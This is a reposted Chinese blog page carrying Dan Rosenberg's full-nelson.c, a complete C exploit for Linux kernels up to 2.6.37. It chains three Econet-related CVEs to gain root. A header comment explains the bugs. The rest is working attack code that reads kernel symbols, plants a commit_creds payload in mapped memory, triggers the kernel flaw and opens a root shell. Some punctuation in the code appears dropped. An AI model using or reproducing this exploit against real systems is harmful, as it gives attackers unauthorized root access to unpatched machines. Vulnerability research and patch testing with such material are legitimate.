一个依靠Linux Econet 协议的3个安全漏洞的提权


Hi all, I've included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what's going on. Without further ado, I present full-nelson.c: Happy hacking, Dan 



ExpandedBlockStart.gif代码
  1 /*
  2  * Linux Kernel <= 2.6.37 local privilege escalation
  3  * by Dan Rosenberg
  4  * @djrbliss on twitter
  5  *
  6  * Usage:
  7  * gcc full-nelson.c -o full-nelson
  8  * ./full-nelson
  9  *
 10  * This exploit leverages three vulnerabilities to get root, all of which were
 11  * discovered by Nelson Elhage:
 12  *
 13  * CVE-2010-4258
 14  * -------------
 15  * This is the interesting one, and the reason I wrote this exploit.  If a
 16  * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
 17  * word will be written to a user-specified pointer when that thread exits.
 18  * This write is done using put_user(), which ensures the provided destination
 19  * resides in valid userspace by invoking access_ok().  However, Nelson
 20  * discovered that when the kernel performs an address limit override via
 21  * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
 22  * etc.), this override is not reverted before calling put_user() in the exit
 23  * path, allowing a user to write a NULL word to an arbitrary kernel address.
 24  * Note that this issue requires an additional vulnerability to trigger.
 25  *
 26  * CVE-2010-3849
 27  * -------------
 28  * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
 29  * fairly benign as a local denial-of-service.  It's a perfect candidate to
 30  * trigger the above issue, since it's reachable via sock_no_sendpage(), which
 31  * subsequently calls sendmsg under KERNEL_DS.
 32  *
 33  * CVE-2010-3850
 34  * -------------
 35  * I wouldn't be able to reach the NULL pointer dereference and trigger the
 36  * OOPS if users weren't able to assign Econet addresses to arbitrary
 37  * interfaces due to a missing capabilities check.
 38  *
 39  * In the interest of public safety, this exploit was specifically designed to
 40  * be limited:
 41  *
 42  *  * The particular symbols I resolve are not exported on Slackware or Debian
 43  *  * Red Hat does not support Econet by default
 44  *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
 45  *    Debian
 46  *
 47  * However, the important issue, CVE-2010-4258, affects everyone, and it would
 48  * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
 49  * more sophisticated version of this that doesn't have the roadblocks I put in
 50  * to prevent abuse by script kiddies.
 51  *
 52  * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
 53  *
 54  * NOTE: the exploit process will deadlock and stay in a zombie state after you
 55  * exit your root shell because the Econet thread OOPSes while holding the
 56  * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
 57  *
 58  * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
 59  */
 60 
 61 #include <stdio.h>
 62 #include <sys/socket.h>
 63 #include <fcntl.h>
 64 #include <sys/ioctl.h>
 65 #include <string.h>
 66 #include <net/if.h>
 67 #include <sched.h>
 68 #include <stdlib.h>
 69 #include <signal.h>
 70 #include <sys/utsname.h>
 71 #include <sys/mman.h>
 72 #include <unistd.h>
 73 
 74 /* How many bytes should we clear in our
 75  * function pointer to put it into userspace? */
 76 #ifdef __x86_64__
 77 #define SHIFT 24
 78 #define OFFSET 3
 79 #else
 80 #define SHIFT 8
 81 #define OFFSET 1
 82 #endif
 83 
 84 /* thanks spender... */
 85 unsigned long get_kernel_sym(char *name)
 86 {
 87     FILE *f;
 88     unsigned long addr;
 89     char dummy;
 90     char sname[512];
 91     struct utsname ver;
 92     int ret;
 93     int rep = 0;
 94     int oldstyle = 0;
 95 
 96     f = fopen("/proc/kallsyms""r");
 97     if (f == NULL) {
 98         f = fopen("/proc/ksyms""r");
 99         if (f == NULL)
100             goto fallback;
101         oldstyle = 1;
102     }
103 
104 repeat:
105     ret = 0;
106     while(ret != EOF) {
107         if (!oldstyle)
108             ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
109         else {
110             ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
111             if (ret == 2) {
112                 char *p;
113                 if (strstr(sname, "_O/"|| strstr(sname, "_S."))
114                     continue;
115                 p = strrchr(sname, '_');
116                 if (p > ((char *)sname + 5&& !strncmp(p - 3"smp"3)) {
117                     p = p - 4;
118                     while (p > (char *)sname && *(p - 1== '_')
119                         p--;
120                     *= '\0';
121                 }
122             }
123         }
124         if (ret == 0) {
125             fscanf(f, "%s\n", sname);
126             continue;
127         }
128         if (!strcmp(name, sname)) {
129             fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
130             fclose(f);
131             return addr;
132         }
133     }
134 
135     fclose(f);
136     if (rep)
137         return 0;
138 fallback:
139     uname(&ver);
140     if (strncmp(ver.release, "2.6"3))
141         oldstyle = 1;
142     sprintf(sname, "/boot/System.map-%s", ver.release);
143     f = fopen(sname, "r");
144     if (f == NULL)
145         return 0;
146     rep = 1;
147     goto repeat;
148 }
149 
150 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
151 typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
152 _commit_creds commit_creds;
153 _prepare_kernel_cred prepare_kernel_cred;
154 
155 static int __attribute__((regparm(3)))
156 getroot(void * file, void * vma)
157 {
158 
159         commit_creds(prepare_kernel_cred(0));
160         return -1;
161 
162 }
163 
164 /* Why do I do this?  Because on x86-64, the address of
165  * commit_creds and prepare_kernel_cred are loaded relative
166  * to rip, which means I can't just copy the above payload
167  * into my landing area. */
168 void __attribute__((regparm(3)))
169 trampoline()
170 {
171 
172 #ifdef __x86_64__
173     asm("mov $getroot, %rax; call *%rax;");
174 #else
175     asm("mov $getroot, %eax; call *%eax;");
176 #endif
177 
178 }
179 
180 /* Triggers a NULL pointer dereference in econet_sendmsg
181  * via sock_no_sendpage, so it's under KERNEL_DS */
182 int trigger(int * fildes)
183 {
184     int ret;
185     struct ifreq ifr;
186 
187     memset(&ifr, 0sizeof(ifr));
188     strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
189 
190     ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
191 
192     if(ret < 0) {
193         printf("[*] Failed to set Econet address.\n");
194         return -1;
195     }
196 
197     splice(fildes[3], NULL, fildes[1], NULL, 1280);
198     splice(fildes[0], NULL, fildes[2], NULL, 1280);
199 
200     /* Shouldn't get here... */
201     exit(0);
202 }
203 
204 int main(int argc, char * argv[])
205 {
206     unsigned long econet_ops, econet_ioctl, target, landing;
207     int fildes[4], pid;
208     void * newstack, * payload;
209 
210     /* Create file descriptors now so there are two
211        references to them after cloning...otherwise
212        the child will never return because it
213        deadlocks when trying to unlock various
214        mutexes after OOPSing */
215     pipe(fildes);
216     fildes[2= socket(PF_ECONET, SOCK_DGRAM, 0);
217     fildes[3= open("/dev/zero", O_RDONLY);
218 
219     if(fildes[0< 0 || fildes[1< 0 || fildes[2< 0 || fildes[3< 0) {
220         printf("[*] Failed to open file descriptors.\n");
221         return -1;
222     }
223 
224     /* Resolve addresses of relevant symbols */
225     printf("[*] Resolving kernel addresses...\n");
226     econet_ioctl = get_kernel_sym("econet_ioctl");
227     econet_ops = get_kernel_sym("econet_ops");
228     commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
229     prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
230 
231     if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
232         printf("[*] Failed to resolve kernel symbols.\n");
233         return -1;
234     }
235 
236     if(!(newstack = malloc(65536))) {
237         printf("[*] Failed to allocate memory.\n");
238         return -1;
239     }
240 
241     printf("[*] Calculating target...\n");
242     target = econet_ops + 10 * sizeof(void *- OFFSET;
243 
244     /* Clear the higher bits */
245     landing = econet_ioctl << SHIFT >> SHIFT;
246 
247     payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
248                PROT_READ | PROT_WRITE | PROT_EXEC,
249                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 00);
250 
251     if ((long)payload == -1) {
252         printf("[*] Failed to mmap() at target address.\n");
253         return -1;
254     }
255 
256     memcpy((void *)landing, &trampoline, 1024);
257 
258     clone((int (*)(void *))trigger,
259           (void *)((unsigned long)newstack + 65536),
260           CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
261           &fildes, NULL, NULL, target);
262 
263     sleep(1);
264 
265     printf("[*] Triggering payload...\n");
266     ioctl(fildes[2], 0, NULL);
267 
268     if(getuid()) {
269         printf("[*] Exploit failed to get root.\n");
270         return -1;
271     }
272 
273     printf("[*] Got root!\n");
274     execl("/bin/sh""/bin/sh", NULL);
275 }
276 

 

posted on 2010-12-22 10:41 重新出发 阅读( ...) 评论( ...) 编辑 收藏

转载于:https://www.cnblogs.com/linuxgnu/archive/2010/12/22/1913493.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值